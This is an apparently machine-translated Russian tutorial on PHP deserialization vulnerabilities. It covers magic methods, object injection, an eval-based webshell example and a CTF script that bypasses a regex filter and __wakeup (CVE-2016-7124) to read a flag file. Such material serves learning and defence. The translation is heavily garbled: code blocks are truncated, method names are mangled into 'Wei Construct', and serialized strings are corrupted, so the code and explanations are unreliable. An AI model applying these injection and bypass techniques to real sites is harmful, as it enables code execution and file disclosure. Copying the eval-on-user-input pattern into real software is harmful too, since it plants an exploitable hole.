Рубрики
Uncategorized

Подробно объясните десериализацию PHP

Автор оригинала: David Wong.

1. Предисловие

Недавно я также пересмотрел то, что узнал раньше. Я чувствую, что у меня есть более глубокое понимание десериализации PHP, поэтому вот краткое изложение

2. Функция сериализации()

“Все значения в PHP могут быть представлены с помощью функции serialize () для возврата строки, содержащей поток байтов. Сериализация объекта сохранит все переменные объекта, но не сохранит метод объекта, а только имя класса

Сначала понятие может быть немного запутанным, но затем оно постепенно понимается

В конце выполнения программы данные в памяти будут немедленно уничтожены. Данные, хранящиеся в переменных, являются данными памяти, в то время как файл и база данных являются “постоянными данными”. Таким образом, сериализация PHP-это процесс “сохранения” переменных данных в памяти в постоянные данные в файле.

$s = Serialize ($variable); // the function serializes the variable data and converts it into a string
 file_ put_ Contents ('. / target text file', $s); // save $s to the specified file

Давайте возьмем конкретный пример, чтобы понять сериализацию:

php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.'is'.$this->age.'years old. 
'; } } //Create an object $user = new User(); //Set data $user->age = 20; $user->name = 'daye'; //Output data $user->PrintData(); //Output the serialized data echo serialize($user); ?>

Это и есть результат:

Вы можете видеть, что после сериализации объекта все переменные объекта будут сохранены, а результат сериализации будет иметь символ, представляющий собой аббревиатуру из следующих букв.

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

Поймите букву типа аббревиатуры, вы можете получить формат сериализации PHP

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
Object type: length: "class name": number of variables in class: {type: length: "value"; type: length: "value";...}

В приведенном выше примере вы можете понять концепцию возврата строки, содержащей поток байтов, с помощью функции serialize ().

3. Функция несериализации()

unserialize() Работает с одной сериализованной переменной и преобразует ее обратно в значение PHP. Прежде чем объект может быть десериализован, его класс должен быть определен до того, как он может быть десериализован.

Чтобы понять просто, даже если сериализованные данные, хранящиеся в файле, восстанавливаются в переменном представлении программного кода, результат до сериализации переменной восстанавливается.

$s = file_ get_ Contents ('. / target text file'); // gets the content of the text file (previously serialized string)
 $variable = unserialize ($s); // deserialize the text content into the specified variable

Давайте возьмем пример, чтобы узнать о десериализации

name.' is '.$this->age.' years old. 
'; } } //Rebuild objects $user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}'); $user->PrintData(); ?>

Это и есть результат:

Примечание. перед десериализацией объекта класс объекта должен быть определен до десериализации. В противном случае он сообщит об ошибке

4. Уязвимость десериализации PHP

Прежде чем изучать лазейки, сначала разберитесь в волшебной функции PHP, закрепление обучения будет очень полезно

Все PHP будут использовать__ методы класса, которые начинаются с (два символа подчеркивания) , остаются магическими методами

Wei Construct is called when an object is created,
Wei Destruct is called when an object is destroyed,
Wei ToString when an object is called as a string.
Wei Triggered when wakeup() uses unserialize
Wei Triggered when sleep() uses serialize
Wei Triggered when destroy() object is destroyed
Wei Call () triggers when an invocable method is invoked in the object context.
Wei CallStatic () triggers when an invocable method is invoked in a static context.
Wei Get() is used to read data from inaccessible properties
Wei Set () is used to write data to inaccessible properties
Wei Isset() calls isset() or empty() on an inaccessible property
Wei Unset() is triggered when unset() is used on an inaccessible property
Wei Tostring() is triggered when the class is used as a string, and the return value needs to be a string
Wei Invoke() is triggered when the script attempts to call an object as a function

Здесь перечислена только часть магических функций, которые можно увидеть в деталях

Здесь перечислена только часть магических функций, которые можно увидеть в деталях

Вот пример, чтобы понять процесс автоматического вызова магических функций

varr1."
"; } public function __construct(){ echo "__construct
"; } public function __destruct(){ echo "__destruct
"; } public function __toString(){ return "__toString
"; } public function __sleep(){ echo "__sleep
"; return array('varr1','varr2'); } public function __wakeup(){ echo "__wakeup
"; } } $obj = new test(); // instantiate the object and call__ Construct() method, output__ construct $obj - > echo(); // call echo() method and output "ABC" Echo $obj; // obj object is output as a string and called__ Tostring() method, output__ toString $s = Serialize ($obj); // obj object is serialized and called__ Sleep() method, output__ sleep Echo unserialize ($s); // $s is first deserialized and called__ When the deserialized object is treated as a string, it will be called_ Tostring() method. //When the script ends, it will be called again__ Destruct() method, output__ destruct ?>

Это и есть результат:

На этом примере мы можем ясно видеть, что магические функции будут вызываться при выполнении соответствующих условий.

5. Инъекция объекта

Уязвимость возникает, когда запрос пользователя неправильно фильтруется перед передачей в функцию десериализации unserialize(). Поскольку PHP допускает сериализацию объектов, злоумышленник может отправить определенную сериализованную строку в несериализованную функцию с помощью этой уязвимости, что приведет к произвольному внедрению объекта PHP в область приложения.

Существует два предварительных условия для уязвимости объекта

1. Параметры несериализации можно контролировать.

Во-вторых, в коде определен класс с магическим методом, и в методе есть некоторые проблемы с безопасностью, которые используют переменные-члены класса в качестве параметров. Вот пример:

test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

Например, если столбец непосредственно сгенерирован пользователем и передан функции unserialize (), такой оператор может быть создан

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

Вызывается после того, как скрипт запускает функцию Destruct, которая также переопределит значение вывода тестовой переменной.

Если эта уязвимость обнаружена, мы можем использовать эту точку уязвимости для управления входными переменными и объединения их в сериализованный объект.

Давайте возьмем другой пример

test);//_ Destruct () function calls Eval to execute statements in serialized objects.
  }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$PP = "O: 1:" a ": 1: {s: 4:" test "; s:" len. ": \". $test. "; \";} "; // construct a serialized object
$test_ Unser = unserialize ($PP); // deserialization is triggered at the same time_ Destruct function
?>

На самом деле, после тщательного наблюдения мы можем обнаружить, что на самом деле мы создаем сериализованный объект вручную, чтобы функция unserialize() могла быть вызвана функцией__ Destruction (), а затем выполнить__ Вредоносный оператор в функции destruction ().

Таким образом, мы можем получить веб-оболочку, используя эту уязвимость

6. Обход десериализации магических функций

Обход волшебной функции пробуждения()

PHP5<5.6.25
PHP7<7.0.10

Уязвимость десериализации PHP cve-2016-7124

#A ා ключ: когда значение, представляющее количество атрибутов, больше, чем количество реальных атрибутов в строке десериализации, оно будет пропущено__ Выполнение функции пробуждения

Хаш из чашки Байду

На самом деле, при тщательном анализе кода, пока мы можем обойти две точки, можно получить f15g_ 1s_ here.php Содержание

(1) обходите регулярное выражение для проверки переменных (2) обходите волшебную функцию Wakeup (), потому что, если мы не десериализуем gu3ss_ M3_ H2h2.php, эта волшебная функция запустит и принудит преобразование в gu3ss во время десериализации M3_ h2h2.php

Таким образом, проблема в том, что если вы обходите регулярные выражения (1)/[OC]:/D +:/I, например: O: 4: будет сопоставлено, и обход очень прост. Просто добавьте +, и регулярное выражение не будет соответствовать 0: + 4:1

((2) Волшебная функция Bypass_ Wake up (). Выше упоминалось, что когда значение, представляющее количество атрибутов в десериализованной строке, больше, чем количество реальных атрибутов, оно будет пропущено при выполнении функции пробуждения

Написать скрипт сериализации PHP

file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != 'Gu3ss_m3_h2h2.php') {
      //the secret is in the f15g_1s_here.php
      $this->file = 'Gu3ss_m3_h2h2.php';
    }
  }
}
#First create an object and call it automatically__ Construct magic function
$obj = new Demo('f15g_1s_here.php');
#To serialize
$a = serialize($obj);
#Using STR_ Replace() function to bypass regular expression checking
$a = str_replace('O:4:','O:+4:',$a);
#Using STR_ Replace() function to bypass__ Wakeup() magic function
$a = str_replace(':1:',':2:',$a);
#Then the base64 coding was performed
echo base64_encode($a);
?>

Выше приведено подробное содержание десериализации PHP. Для получения дополнительной информации о десериализации PHP, пожалуйста, обратите внимание на другие соответствующие статьи в developeppaer!